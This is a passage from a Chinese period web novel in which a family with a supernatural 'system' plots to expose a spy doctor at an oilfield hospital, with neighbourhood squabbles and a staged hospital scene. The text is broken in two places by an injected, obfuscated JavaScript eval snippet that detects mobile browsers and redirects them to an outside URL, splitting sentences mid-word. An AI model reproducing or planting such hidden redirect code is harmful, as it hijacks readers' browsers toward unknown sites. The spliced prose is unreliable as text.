人造肉,其实就是大豆做成的,比豆腐干还硬的食材,口感跟肉似的,形状就像南方的菱角。跟青椒、大葱炒一炒,在这个缺肉的年代,味道还是很不错的。每次供销社一来货,都能被大家抢空。 “这还是科里的同事帮我抢的呢。”陈金花将二两人造肉递给姜满城,开口道,“你看看你还想吃啥。” “行,你们娘俩就等好儿吧。”姜满城系好围裙,开始做今日份午饭。走廊里立刻响起乒乒乓乓的声音。 “哎呦,老姜你行啊,竟然能抢到人造肉。” 林兵闻到香味,直接从楼道里拐了过来,伸手就要去锅里捏一块儿,被姜满城一巴掌拍走:“说归说,可不能上手。你这是干啥去了,才回来?” “瞧你那小气劲儿。”林兵嗐一声,显摆了下手里提的袋子,“看到没,哥们儿也买了。半斤,可比你这二两多多了。” 说着,他抬起下巴,转身敲了敲方阿婆家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347020|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,喊道:“巧莲姐,我给你带了点儿人造肉,快开门。” 孙巧莲打开门,倚在门边嗔了林兵一眼,娇声道:“喊什么,人家这不就出来了。” 林兵眼里露出得意,将其中一个袋子递给孙巧莲,开口道:“你家今儿午饭做的挺早啊,这就吃上了?这人造肉晚上吃了,不然要坏的。” “呦,我说大兵啊,你是人家啥人啊,就给人家东西?这大男大女的,你好意思做,我们还不好意思看呢。”刘老太惯常尖酸刻薄,她家今天没买到人造肉,心情正不好呢,她好声好气地跟姜满城要,这家伙居然不给,一点儿不知道尊老爱幼。这会儿又来个没廉耻的,她心里那个烦躁啊,狠狠呸一声,说,“不要脸的骚狐狸,狗男女,死了下拔舌地狱的小娼妇小淫棍。” “你这个老虔婆,说什么。”林兵心里瞬间不乐意了,高声嚷道,“我给谁带东西碍着你了?要你在这里唧唧歪歪。看你是个老人,不跟你计较,你还蹬鼻子上脸了!怎么,欺负我们年轻人不好跟你个老太婆计较是吧?就你这个刻薄死儿媳的老巫婆,早晚会遭报应的!” “你说什么,你个小混球!”刘老太砰一下甩掉锅铲,恶狠狠瞪向林兵,“我看你才要遭报应!亲爹都残废了,不好好攒钱买药,跟那些个寡妇纠缠不清,你个脑子拎不清的蠢蛋,早晚被毒寡妇们吸干!” “大兵,回家。”林大叔拄着拐杖,黑脸出现在门口。他本来是油田前线做石油工人的,如今出了事故导致左腿截肢,平时都是呆在家里不出门的。他身材高大,站在那里几乎把整个门都堵住了,格外有气势。 林兵别看人糊涂,对他爸态度也不好,但骨子里是有些怕这老家伙的。他哼一声,瞥了眼孙巧莲,孙巧莲趁机冲林兵眨眨眼,娇羞地低下头:“大兵,你快回去吧。林大叔都等着急了。” 林兵眼里的怒气瞬间化为得意,他就知道,孙巧莲对他爱得不得了,这个楼上的女人哪个不爱他!这当着这么多人的面儿都不知道藏一藏,他迈着八字步,得意又嚣张地回了家。 刘老太兀自又骂了起来,就算没有观众,那词儿也是不带重样的,花式骂街。 姜满城没有回头,光听两人打情骂俏的声音就够恶心的了,还夹杂着刘老太的骂街,真是比菜市场都热闹。他赶忙将锅端进屋里,抖了抖身上的鸡皮疙瘩,这才开始盛菜。 一盘大葱炒鸡蛋,一盘青椒人造肉,一人一个白面馒头,三人很快坐到餐桌前。只是这么好的菜色,姜楠却无精打采的。她将上午的扫描结果告诉了父母,当听到是小鬼子留下的特务后,陈金花狠狠一拍桌子:“抓,再危险都得抓,这种人不能留。” “而且还有2000吃瓜币的奖励,我们就只剩1000,就能升级空间了。”姜楠神色激动,“到时候我们就能有空间了。” 姜满城满意地点头,沉思起来,半晌,才谨慎地开口:“我记得山坳子大队那边的勘探队还没走。金花,你认识勘探队里的人吗?有没有父亲的学生、徒弟之类的?” 山坳子大队,就是早先发现了石油的幸运村子,这不,前两天回村儿,姜满城还被村民询问过这件事呢。工作赔偿也下来了,可不就让人眼馋嘛。 陈金花安静下来,认真想了一会儿,道:“有一个是我爹徒弟的哥哥,不算是我爹的徒弟。在勘探队里做队长,怎么了?” “太好了,那个徒弟叫什么?小楠见过没?”姜满城追问道。 21. 抓特务一 陈金花回想了片刻,不肯定地道,“叫胡卫民,我记得有一年我爹过寿,他去拜寿了的。小楠应该见过,只是那时候小楠还小,不知道还记不记得。” 姜满城赶忙看向姜楠,姜楠明白了父亲的意思,赶忙吩咐系统:“快找找,有没有这个人。” 【有的,宿主。】 “有,爸,妈,有这个人。” “太好了。”姜满城也兴奋地拍桌子,“快,看看这个胡卫民最近在干嘛?有没有什么可以利用的。我们可以利用胡卫民去找他哥,就说家里有事儿跟他说,这样就可以名正言顺去山坳子村了。最近在夏收,村里老少爷们没事都会去地头,小楠去了肯定能见到人。” 姜楠点点头,赶忙吩咐系统。没办法,系统只能听到她一个人的声音,别人说什么都听不见的。 “爸,那个胡卫民最近和姥爷一起,在临市勘探呢。我看看啊,正好,胡卫民的妈妈前两天摔断了腿,他还没来得及告诉他哥。” “天助我也!”姜满城抖着腿儿,嘚瑟道,“你说巧不巧,今天下午你姥爷要打电话过来,咱们到时候就说你姥爷在电话里无意提到的,神不知鬼不觉。” 他接着道:“快吃饭,先去听电话,最好在电话里问问老爷子徒弟的事儿,这样更师出有名。我先去请假,下午跟小楠一起去,这样稳妥点。” “我也去。”陈金花不放心两个人,开口道,“小楠功夫没我好,我不放心。” “不行。”姜满城严肃脸,“三个人去太扎眼了,要么你去,要么我去,不能一起去。” “那我去。”陈金花拍板,“你功夫不行,再说胡卫民是我爹的徒弟,我去更名正言顺。” 午饭后,下午两点,姜满城诚惶诚恐地接听了老岳父的电话,被训了两分钟,终因老爷子想到电话费比较贵,这才施恩让闺女接回了电话。 整个电话,进行了三分钟,三分钟计一次费嘛,超过一秒都按六分钟算。整个打电话的过程跟打仗似的。 甚至在姜满城心中,比打仗还刺激呢。没办法,谁让他拱了人家地里的白菜呢。这老丈人和女婿啊,那天上就是不对付的。 这哪个女婿在老丈人面前不气虚? 好在陈金花傻乐呵的同时,没忘了正事。没姜满城的提醒,也侧面打听到了胡卫民家里的情况,并直言下午正好有空,可以去山坳子大队通知胡卫民哥哥。 这可不正好了嘛,一听完电话,母女俩半点儿不敢耽误,赶紧起身离开。因为离得远,母女俩决定坐公交车去。山坳子村发现了石油,储量还不小,油田特意增派了去那里的车辆,一天两趟,上午一趟,下午一趟,正好方便了母女二人。 二人一路狂奔,正好在二点半到达车站,顺利登上了公交车。车里没座儿,母女二人晃晃悠悠站了半个小时,终于到达了目的地。 一到地方,姜楠立刻装作好奇的样子四处瞧,实则让系统扫描她见到的每一个人。等系统发现目标人物,已经接通脑电波后,姜楠才暗暗给母亲使个眼色。二人不再逗留,直奔勘探队而去。 胡卫民的哥哥叫胡保国,是个年近四十的高大汉子。因在村里住的时间长了,脸被晒得黢黑,一笑露出一口白牙。听到两位女同志来找他时,还不敢确信。当知道母亲摔断了腿后,也顾不得跟陈金花寒暄,当即就要回队里收拾东西。勘探队有自己的车,他这也算是紧急情况了,是可以坐车离开的。 下午回作业处的车要五点半才开,姜楠和陈金花无事,便在村里转悠。 山坳子大队听名字就知道,比西河岸大队更偏僻,离山更近,简直就是被山包围的一个村子。两人也不主动跟村民闲话,却没想到遇到个熟人。 不是别人,正是抓奸案事主吴大锤他爹老吴头。 原来这老吴头的亡妻,是山坳子大队出来的,前些年还来村里看过呢。一来二去的,老吴头就认识了那小寡妇的娘老寡妇。老吴头是个色胚,家里人又在油田工作,老寡妇当然不会放过,两人很自然地勾搭在一起。自从吴大锤他娘死后,老吴头隔三差五就要过来一次,已经是明目张胆了。 不过这次过来,倒是没有那么单纯。他啊,是为了老寡妇家的工作名额。他孙子吴建国身子骨不好,如果特车队要求严格,他孙子够呛能接班。老吴头还是很疼大孙子的,毕竟是独苗嘛,这不为了这个工作,这几日天天过来捧着老寡妇。 不过事情怎么可能那么顺利,老寡妇前夫家还盯着这个工作呢。前夫虽然死了,但老寡妇嫁到他们家,就是他们家的人,工作自然也是他们家的,怎么能给别人。这不,看出来老吴头不怀好意,双方好一场撕吧,让陈金花和姜楠大老远地看了一回热闹。 虽然并不是很想看。 二人很快坐车回家,却不知道村里地头儿的老头老太太,早就发现并谈论过两人了。自从村子里发现了石油,每日都有油田的陌生人进村。今日一下子来了两个年轻女人,个头儿还格外高,立刻吸引了大家的注意力。 “也不知道是不是勘探队的家属过来看人的。”一个老大娘开口道,“看着像是母女俩。” “应该是,看那衣服新的,不可能是其他村子的。”另一个老大娘附和,“长得也白净。以后咱们家家也有石油工人,也能有这么白净的孙媳妇喽。” “那感情好。” “可不是。” ...... 吃晚饭时,三人又开始了密谋。姜楠将扫描结果告知:“那个女人叫苏水仙,是早年小鬼子留下的间谍,上线是油田医院的一个医生。苏水仙常年身体不好,经常去医院瞧病,两人就在看病的时候接头。” “两人下一次接头是什么时候?”姜满城问。 “明天下午四点。” “这次要传递什么消息?” “临市发现特大油田,她的上线想知道具体情况,不知道是不是想去瞧瞧。” 姜满城嘀咕:“盯得够紧的。” 他右手摩挲着下巴,左手不停地拍打桌沿,自言自语:“咱们不能单独行动,得通知蓝青山他们才行,不过怎么让你的话更可信呢?蓝青山也不是傻子,不能我们说啥他都信。” 姜楠和陈金花母女俩,边吃饭边看姜满城思考。嗯,今天的麻婆豆腐够味儿,拌米饭吃真不错。 姜满城就这样,思考的时候会小声嘀咕,不过此时他说什么外人都不用理会,就是理会也是白搭,姜满城这时候,全部心神都沉浸在自己的世界里,对外界发生什么全然不知。 不到半分钟,姜满城眼神黑亮黑亮的,直直盯着姜楠:“那个上线多大年纪?是男是女?长得怎么样?结婚没有?” “男的,叫卢家辉。从苏水仙的记忆看,应该不到五十,是个挺慈祥的老医生,主治神经内科,还是科室副主任。结婚了,有两个儿子一个女儿,连孙子都有了。” “是他啊!” 姜满城有些吃惊:“这家伙有些名气,听说医术很好的,解放前还是北平的大学生,不知道怎么调到咱们油田了。” 他继续问:“他会不会功夫?有没有什么花边新闻?” “不清楚,从苏水仙的记忆看,他们只是工作关系,平时不接触的,也是为了怕暴露。” “这样,你明早再去医院,远远看一眼这个卢家辉。特务的事咱们不能冒然行动,前前后后都得考虑周全。” 三人商量好计策,又各自对了一下说辞,这才专心吃起晚饭。 天大地大,吃饭最大。 只是他们不知道,东头裘向东一家,正在商量让裘盼儿专门盯着姜楠呢。 原来自抓捕偷油贼后,朝阳油田非常重视,加上之前尤爱钱的事,这家伙作为油田职工却偷偷卖油,两件事儿挨得这么近,油田领导专门召集各前线作业队开会,强调了油田财产安全和人身安全的重要性。 裘向东作为钻井二队副队长,很快知道了会议召开的原因。在知道这里面还有姜家的事后,心里那个酸啊,堪比老陈醋,不想相信,更不愿相信,还专门去派出所确认了呢。 不过,他是个脑子转的快的,在知道油田会给姜楠嘉奖后,很快发现了这里面的操作空间。姜楠如果获得了嘉奖,加上上次见义勇为的表扬信,很可能会进入派出所,如果再立个功,那可就是板上钉钉了。 他立刻想到了裘盼儿,虽然不喜她是个女娃,但表面上,他还是希望闺女能争气的,起码不能比姜楠差太多。他估计这一家子如今也卯着劲儿想立功呢,如果盼儿能跟着抢点功劳,他再操作操作,闺女是不是也能进派出所了? 而且这也给他提供了新思路,如果那件事谋划不成,这也是一个找工作的路子。毕竟,他日后要操心的,可不止裘盼儿一个。 “盼儿,你可争点气,等进了派出所,可不能比那个姜楠差。”听了裘向东的分析,他媳妇陶美玉此时也不嫌弃唯一的孩子是女娃了,一个劲儿叮嘱。她知道丈夫在外面有点子花花事儿,但谁让她生不出儿子呢。她不怪丈夫,只恨当初怎么就生了个女儿。如今女儿就要有出息了,她沉寂的心再次起了涟漪。 “就是,而且派出所男同志多,你也多留心,看看能不能找个对象。”裘大妈竟然噗哈哈哈笑了起来,前仰后合的,“咱们老裘家就是比他们老姜家强。不仅向东争气,就连盼儿都能将隔壁那丫头比下去。以后咱们家在楼里,那可是第一等的人家。就连老曹他们家都比不上!咱们家可是要有三个工人了!” 裘向东矜持地笑笑。盼儿和姜楠去探个路,如果这个路子可以,他...... 裘盼儿低着头,眼睛的光简直要把地板射穿。等她进了派出所,一定会比姜楠强!她会把姜楠压得死死的,再也不能跟她比。 这一家子,还没影儿的事儿呢,已经满心满眼都是裘盼儿入职派出所之后的事儿了。就连平日里总是一言不发的陶美玉都再次开口了:“盼儿你可得争气,妈就指靠你了......” “指靠什么指靠。”裘老太好好儿的心情被儿媳妇的话浇灭了,她气儿不打一处来,“老娘给你找那么多药是白找的吗?竟说些丧气话。我那孙儿说不得就是被你吓跑的,我家怎么这么倒霉啊,娶了你这么个没出息的......” “妈。”见陶美玉头越埋越低,裘向东开口道,“好了,美玉也是高兴。她没有别的意思的,你平时找那些药,美玉也都喝了,你就别说这么多了。” 陶美玉抬起头,目光莹莹地看着自己男人。向东就是这么好,让她怎么割舍得下。 裘老太脸拉得老长:“就知道护着她!”她气哼哼地起身回屋,刷一下关上卧室的门。 裘向东无奈地笑笑,拉过陶美玉的手,温柔地说:“美玉,让你受委屈了。娘她岁数大了,脾气有点儿不受控制,你多担待着点儿。她是老思想,认为只有男人才能传宗接代,其实我并不是这么想的,可娘年纪大了,咱们也不好跟着犟嘴,你多理解下娘,好不好?” 陶美玉泪光莹莹地点着头,裘向东又揉揉女儿的头发,他说:“盼儿,你也要多理解理解你奶奶。她年纪大了,老派思想严重,其实你奶奶也是为了你好,她觉得爸有了儿子,以后你出嫁,娘家也有人给你撑腰。不过爸不在乎的,爸觉得有你就够了......” “不行,我一定会生儿子的,向东。”陶美玉赶忙开口,声音都有几分尖利,裘盼儿眼里的光渐渐暗淡下去。 “你啊。”裘向东宠溺地笑笑,又柔声对女儿道,“盼儿你别多想,你妈妈也是疼你的,只是多一个兄弟,总好过你一个人孤孤单单的,是不是?” 他起身,继续说:“好了,我去叫妈,饭都没吃完呢。” 姜楠此时还不知道,她明天将再次迎来一个甩不掉的小尾巴。她洗好碗,将垃圾扔到楼下,还专门去公园打了一套拳。很久没练了,招式都有些生疏了,不过明天就要大展拳脚,想想还有点儿小兴奋呢。 兴奋的姜楠很晚才睡着,不过就算如此,第二日仍神采奕奕地起了床。 抓特务啊,这可是抓特务! 哪个年代文女主,不得干点儿惊天地泣鬼神的大事!她可真是天选之女,竟然能抓特务!在一干去黑事儿倒腾物资、去山上挖人参、去废品收购站淘宝的“普通”年代文女主里,她是多么的新奇! 噗哈哈哈。 谢绝了程改改同行的提议,姜楠雄赳赳气昂昂地出了门,在发现身后坠着裘盼儿时,好心情终于回落了一丢丢。 不过姜楠也管不了别人的腿不是,她反正只是在医院附近坐坐,远远扫描扫描上班的医生罢了,裘盼儿愿意跟着就跟着吧。 在医院附近的长椅上坐下,姜楠假装在等人,等系统滴一声扫描到正主后,姜楠立刻起身回家。 - “卢医生,卢医生。” 职工医院长长的走廊里,一名年轻的女护士领着一对父女,慌里慌张地推开最里侧办公室的门,她大声喊道:“卢医生,您快给这位同志看看,他突然头疼的厉害,您看,全身冒虚汗,还抖个不停。” 卢家辉正在给一位大妈看病,闻言皱皱眉,不悦地直起身,扶了扶眼镜,低声斥责:“小徐护士,我办公室关着门,就说明里面是有病人的,下次进来要记得敲门。万一我在给病人检查身体,你这么直喇喇地进来,会给病人造成不好的影响的。” 小徐是个刚参加工作的年轻人,闻言低着头,表示知道了。 她旁边的中年男人忽然哎呦一声惨叫,小徐立马反应过来,焦急道:“卢医生,您快看看。他刚才疼得在大厅里打滚儿呢。” 疼得打滚儿的男同志,不是姜满城又是谁? 他低着头,嘴角有些抽搐,为了装病,他容易嘛。参加工作后就没丢过这么大的人了,今儿还要装一回“医闹”,想到后面还要闹事儿,他掐了掐闺女姜楠的胳膊,暗暗给闺女鼓劲儿,给予精神上的支持。 姜楠也很无奈啊,他们一家今天趁大家吃午饭的空挡,悄么悄地去了派出所,将发现间谍的事告诉了蓝青山。没想到倒给自己找了这么个任务。 医闹,这可是医闹啊。就算是她会功夫,也没她爹脸皮厚啊。可有啥办法呢,她爹又不会功夫,到时候要是闹起来,还是她这会功夫的靠谱儿。 姜楠暗暗叹口气,不过想想卢家辉,她又忍了下来。 这个卢家辉, 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第四任老婆,则是煤炭厂的文员。虽是文员,却是做煤炭统计规划工作的,对煤场的生产量门儿清。这段婚姻持续的时间最长,有五年。两人生了一个女儿。这回女人倒是平安生产,只是还是死了,据说是走在路上,被自行车撞到沟里淹死的。 第五任,就是现在的这个了,是油田职工医院的护士长。这位老大姐因为早年只生了一个女儿就不能再生,被婆家赶了出去。据说卢医生自来到医院后,就十分同情护士长的遭遇,更是不在乎护士长比他大五岁,两人认识半年就结了婚,一直到现在,差不多有三年了。 五任媳妇儿,全在重要部门干过,至今没引人怀疑,那是因为卢家辉娶一个老婆换一个地方,每一任都在不同的地界。而且四个老婆死因都跟卢家辉无关,即使档案存疑,也让人查不出什么。 可如今往特务上靠,却说得通了。而且这家伙不仅娶过这么多老婆,大学期间,还谈过不少女朋友,有过一个未婚妻呢。未婚妻的身份也不简单,只是为何没成亲,就不知道了。 档案上没有,可姜楠知道,那未婚妻一家逃到漂亮国,对卢家辉来说失去了利用价值,当然就分开了。人家姑娘当时可是哭着上的船呢。 这个卢家辉,算是个情场老手了。 而且卢家辉的身世也存疑。他是被收养的,据档案记载,亲生父母在战乱中死亡,被一户货郎收养。奇怪的是,这货郎收养卢家辉后,一跃从挑担子卖货的货郎,成了城里有固定铺子的小业主,生意蒸蒸日上。要不是养父养母先后病重死亡,卢家辉卖了铺子治病办丧事,他的成分就有问题了。可他就是这么幸运,养父母在恰当的时间出问题,他的成分又清白了。 虽然想了这么多,但其实时间也就那么一瞬间的事儿,姜楠回过神,看着被扶到病床上的老爸,一咬牙,做出满脸焦急状,她大喊:“大夫,您一定要救救我爸啊,他这是怎么了,怎么突然就头疼了?这位护士说您是副主任,是医院医术最高明的大夫了,您一定要救救他啊。” 卢家辉将听诊器放在姜满城胸前,低声安慰姜楠:“你不要急,我会看的。” “您一定会治好我爸爸的,对吗?他们都说您是最好的医生,是解放前的大学生呢,您一定会治好的对吗?您保证,您一定要保证啊。” “这位小同志,请安静。”卢家辉皱眉,声音仍是不疾不徐,“我会看的,你这么吵,我没法安心看诊。” 姜楠:“我怎么能安静。” 她崩溃:“他是我爸啊。您怎么这么冷酷这么无情这么无理取闹!我爸都疼成这样了,您还叫我安静。我安静的下来嘛!你是不是不愿意保证,不想负责任?你怎么能这样自私,亏你还是大学生呢,怎么一点儿担当也没有......” 姜满城配合地叫唤两声,姜楠更加理直气壮:“您看我爸,他都疼成什么样儿了啊,做人怎么可以这样自私,呜呜呜。” 最先将人领过来的小徐护士,这时候倒是不好意思了,她歉意地冲卢医生笑笑,拉着姜楠到角落里,安慰道:“这位女同志,我们出去等吧,医生看病需要安静的,我们就不要打扰了。” “不行!”姜楠挥开小徐护士的手,伸手指着卢医生和徐护士,歇斯底里地怒吼道,“你们是不是不想负责任,想推诿是不是?我就知道,你们医生护士串通起来,不想给我爸好好看病。我爸到底是得了什么病啊,你们要这样对我。爸啊,您醒醒啊......” 哀嚎声终于引来了其他人,大家听了一会儿,明白发生了什么事,一个个指指点点。有人同情姜楠,当然也有人不认可姜楠的胡搅蛮缠。 “这孩子也是心急,她父亲出事儿了,不冷静也是可以理解的。” “可不是,这医生治病,从来没有个准话,搁谁谁不急啊。” “话不能这么说,打喷嚏都有死人的,更不要说生病了,谁敢说能百分之百治好?医生敢说,我还不敢信呢。” “哎呦,小楠,是你啊。”人群里,老吴头捂着肚子,哎呦哎呦叫唤,“快来扶我一把,我今儿不知吃了什么,头一直嗡嗡的,有小人在里面跳舞一样,肚子还不舒服,小楠,快来扶吴爷爷一把。” 姜楠嘴角抽了抽,坚持不动,还是小徐护士尽职尽责,见老吴头疼得脸色发白,赶紧上前扶住,劝道:“您跟我来,我带你去看医生。” “哎呦,还是护士你靠谱啊。”老吴头疼得腰都直不起来了,还不忘占便宜,见小徐护士脸白嫩嫩的,拉着人家的手不放,身子更是往小徐身上靠。 姜楠实在看不下去了,在老吴头路过时,趁着他身影遮挡众人视线的空挡,从兜儿里掏出几个小石子儿,刷刷两下,打得老吴头瞬间膝盖着地。 你瞧瞧,多做准备总是好的,当时蓝青山让她医闹,她怕功力不够,想着拿几个‘武器’,实在不行找几个不顺眼的挡挡刀,也趁机闹一闹,这才好呢。不然怎么办呢,她是爱看热闹,但实在不会制造热闹啊。 话说自己撞上来的老吴头,双膝着地后,愣是吓得卢家辉刷刷避让到了一边,他急道:“你这个同志怎么能这样,小徐,快把人扶起来,我们是正经的公家医院,可不兴旧社会这一套。” 小徐护士也吓坏了,赶紧用力扶,却不想老吴头一眼看到了床上坐着的苏水仙。他刚才全部心神都在占小护士便宜上,倒是没注意屋里都有谁。如今看到苏水仙,那可是跟看到天仙一样啊,那话咋说的,近水楼台,他们住在一个病房,联络联络感情,说不得孙子的工作就有着落了! 他也不要人扶了,颤颤巍巍站起来就朝苏水仙走,关心地说:“大妹子,是你啊。你这不舒服怎么不来找我?职工医院我人头熟,可以带你来看病的。你今儿是怎么了......” 也不知是色胆包天,还是真的身体突然好了,老吴头很快走到苏水仙坐着的床边,拉着苏水仙的手不放:“大妹子,你别怕,你要是住院,我就来照顾你。你放心,肯定妥妥的,我不行,还有儿子和孙子呢,肯定能天天来照顾咱俩。你说咱俩也这么多年了......” 苏水仙一直是柔弱的人设,她长得比方阿婆还好,老了也是很齐整的老太太,哪里看得上老吴头。而且老吴头为了什么,她怎么可能不知道,她把手往回抽,冷着脸回道:“这位大哥,我不认识你,你放开我。” 22. 抓特务二 苏水仙如今可是香饽饽,怎么可能是一个人来的。他前夫家三侄孙,名叫大驴的小伙子跟着呢。小伙子才十四,没到分家成亲的年纪,家里油田的工作轮不到他,可不就盯着苏水仙嘛。今儿苏水仙来医院,他巴巴跟来了,本来看热闹看得挺起劲,没想到还有人敢对小叔奶献殷勤,他怎么还坐得住,当即三步并作两步,一把拽住老吴头的胳膊,嚷嚷:“你谁啊,我怎么不认识你?少占我叔奶便宜......” 大驴劲儿不小,捏得老吴头嗷嗷叫,小伙子也认出了人,一把将老吴头推在地上:“好你个老登,还敢来找我小叔奶!你个没安好心的老东西,我可告诉你,少盯着别人家的东西,不然我打不死你!” 在职工医院的地界儿上,老吴头能怕一个乡下人?他也不是要面子的人,当即学着刘老太哭坟的架势,哀嚎起来:“年轻人欺负老人啦!大家来看看啊,我什么也没干啊,就被这大小伙子打,还有没有天理啊。” 那架势,比刘老太的坐地炮还热闹。他哭完也不恋战,一下子扑到苏水仙的病床上,一副情深似海的样子:“我跟你小叔奶近十年的感情,你一个毛儿都没长齐的臭小子,懂什么。大妹子,你别怕,你家里人反对也没用,再说,他们也不是你家人了,你不用顾忌他们。我知道你的心意,我不嫌弃你的年纪,我们在一起之后,你先把工作给我大孙子,然后......” 苏水仙简直无语,这什么臭老头子,她什么时候对他有心意了?! 老吴头这做派,大驴能饶了他?他可还盯着工作呢,大驴上前就是一个大嘴巴子,打得是半点没收力,老吴头的后槽牙都被打松动了,更是被打得一屁股坐在地上。 就这,大驴也不放过他,上脚就去踢人,老吴头哎呦哎呦叫唤起来。 卢家辉被吵嚷得脑壳子疼,他先前还觉得那对父女有问题,平白无故就来这里闹。人只要在阴暗角落久了,多少都有疑心病,卢家辉就是这样,而且他可不觉得冤枉了那对儿父女。可如今来了一个老大爷,还是个色心外露,一看就没什么本事的老头儿,他直接就否定了之前的猜测。 今日,应该是不宜上班啊。 他揉揉额头,人群已经有些吵嚷了,大驴还想上前打人,卢家辉忙伸手拉了拉,开口劝道:“这两位同志,这里是医院,不是你们打架的地方。耽误别人治疗可是要负责任的。” 姜楠都有些出戏了,此时听到这话,觉得她怎么也得抢救抢救,不然任务完不成就不好了,她嗷一嗓子哭起来:“卢医生,你别管其他人了,快来看看我爸啊,你要是治不好我爸,我......我跟你没完。呜呜呜,我的命怎么这么苦啊,来看个病都能遇到这种事儿。呜呜呜。” 姜楠一个劲儿呜呜呜,倒压过了老吴头和大驴的声音,老吴头抱着头,咦一声,边躲避,还边有功夫关心姜满城:“小楠啊,你爸咋了?今儿中午不还好好地,怎么突然病了?” 人群嗡嗡嗡地看着热闹,护士长很快过来查看情况。这是位身材健壮的中年大姐,见一个老大爷被大小伙子揍,还有一个小姑娘也是满脸眼泪,她皱皱眉,严厉地说:“这两位同志,医院不是你们能撒野的地方,还请注意安静,不然我就请保卫科了。” 大驴毕竟是村里出来的,听到请保卫科倒是不敢再动手了,但姜楠还有任务啊,她只得继续加戏。 “好啊,你们一个个的,都跟我们父女俩过不去。我爸就是来看个病,医生连能不能治好都不说,我不该生气吗?大家评评理,我不该生气吗?没有天理啊,医生不好好治病,护士还要骂人,这还是油田的职工医院嘛?!” 姜楠搅尽脑汁,极尽死皮赖脸之能事,将平日里看热闹学会的歪理,一个个甩了出来,学着刘老太骂街的姿态,叉腰抬手,口沫横飞。 别说,这架势,把准备也哭闹一番的老吴头都看懵了,这姜家小丫头,这么猛的吗?以前在楼里不闹腾,那还是看在邻里邻居的面子上,留手了啊。 “你个小同志怎么听不懂人话。”护士长不是个好脾气的,转身就要去找保卫科,却一眼看到几个警察在外面拿药,她也不管三七二十一,上去就拉警察,指着姜楠告状道,“这位警察同志,这里有位女同志在医院闹事,您可不能看着不管啊。医院是治病救人的地方,不是撒泼打滚的农村地头。年纪轻轻的不学好,可得好好受受教育。” 蓝青山被拉了一个趔趄,顺势踉跄着向前走,站定后轻咳一声,绷着脸,厉声询问众人:“我是油田派出所的蓝青山。请问发生了什么事?刚才这位大姐说的事是否属实?” 卢家辉眼皮跳了跳,他看着病床上疼得嗷嗷叫但面色白里透红的男人,又看看另一张床上的苏水仙,突然有了不好的预感。 他忽略砰砰砰跳个不停的心,努力镇定地说:“是这样,我刚才在给这位大姐看病,小徐护士就领来了这对儿父女,说是这位男同志疼得厉害,在医院大堂疼得打滚儿,她好心扶着两人过来看病。然后这位小同志就一直让我保证治好她父亲。警察同志,您也知道,这治病没有说百分之百能治好的,就算感冒都有死人的,更别说我还没看呢。” 他扶扶眼镜,接着说:“然后因为我没有保证,这位小同志就一直哭闹......” 姜楠一直盯着这边呢,见卢家辉被蓝青山牵扯住了注意力,忙趁乱扔出两颗小石子儿,直直朝苏水仙的后脑勺而去,并趁机大叫起来,吸引大家的注意力。 “爸,您怎么了,爸。您醒醒啊。”姜楠跪地,一个劲儿摇晃着床上的人,而后哀嚎一声,伸展双手,仰天大叫,“我的爸爸啊,您怎么晕倒了?” 马氏狂吼之后,她低头抹掉眼泪,再次抬起头,恶狠狠指着卢家辉,说:“你对我爸爸做了什么?刚进来的时候我爸还是醒着的,怎么现在就人事不知了?警察同志,快抓住他,他不知道对我爸爸做了什么,他是个坏人啊。” 蓝青山强忍住抽动的嘴角,没看出来,真是没看出来,小丫头戏还挺浮夸。 不过吐槽归吐槽,蓝青山还是很敬业的,他三两步上前。姜满城也不知是怎么做到的,竟真的昏迷不醒。蓝青山心内佩服,转身时,有些无奈地对卢家辉道:“这位医生同志,您快看看,这位男同志晕倒了,是什么原因?” “我不让他看,他是坏人,他不知道对我爸爸做了什么。一定是他。”姜楠有些歇斯底里,突然,她指着另一边的病床,尖叫道,“你们看,那个大妈也晕倒了。她刚才可是好好的,就因为来找这个坏人看病,如今都晕倒了啊。你们不能放过他,他是个坏人啊。” “医院得负责啊,你们医院有坏医生害人,得负责啊。”姜楠见大驴没反应,只得拿话点他。 果然,大驴先前还傻愣愣的,不知道怎么办呢,如今听了姜楠的话,眼珠子一转,附和道:“对,都是医院害的,是这个医生害的。你们得赔偿啊,我叔奶刚还好好的,这怎么突然就晕倒了。一定是这个医生的错,是医院的错。” 人群里有人听不下去了,替卢家辉说话道:“你们怎么能胡说,刚我们都看到了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368623|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家医生什么也没做,不能这么诬赖人的。” “就是,人家医生在跟警察说话,根本啥也没做。” 大驴可是看过村里大娘大婶子们骂街的,岂能被一两句话吓到,他可是找到替罪羊了的,还不狠狠讹上一笔。他什么也顾不得了,大嚷道:“那谁知道是不是刚才看病的时候他做了什么?刚才看病可是只有这个医生和我叔奶在的,谁知道他是不是给我叔奶下药了?警察同志,你们不能放过他啊。” 姜楠接过话茬,哭嚷:“对,我爸刚才也好好的,也是这个医生看过了之后,就晕倒了。警察同志,你们不能放过他啊。” 蓝青山一脸的为难,他苦着脸,无可奈何,对卢家辉道:“卢医生是吧,麻烦您跟我们走一趟吧。如今两位病人家属都说是您的问题,您看,我们也是为难......” “为难什么,就是他!” “对,就是他!” 蓝青山嘴角再次抽了抽。 小徐有些麻爪儿了,这两人都是她刚刚扶进来的,怎么还给卢医生带来麻烦了? 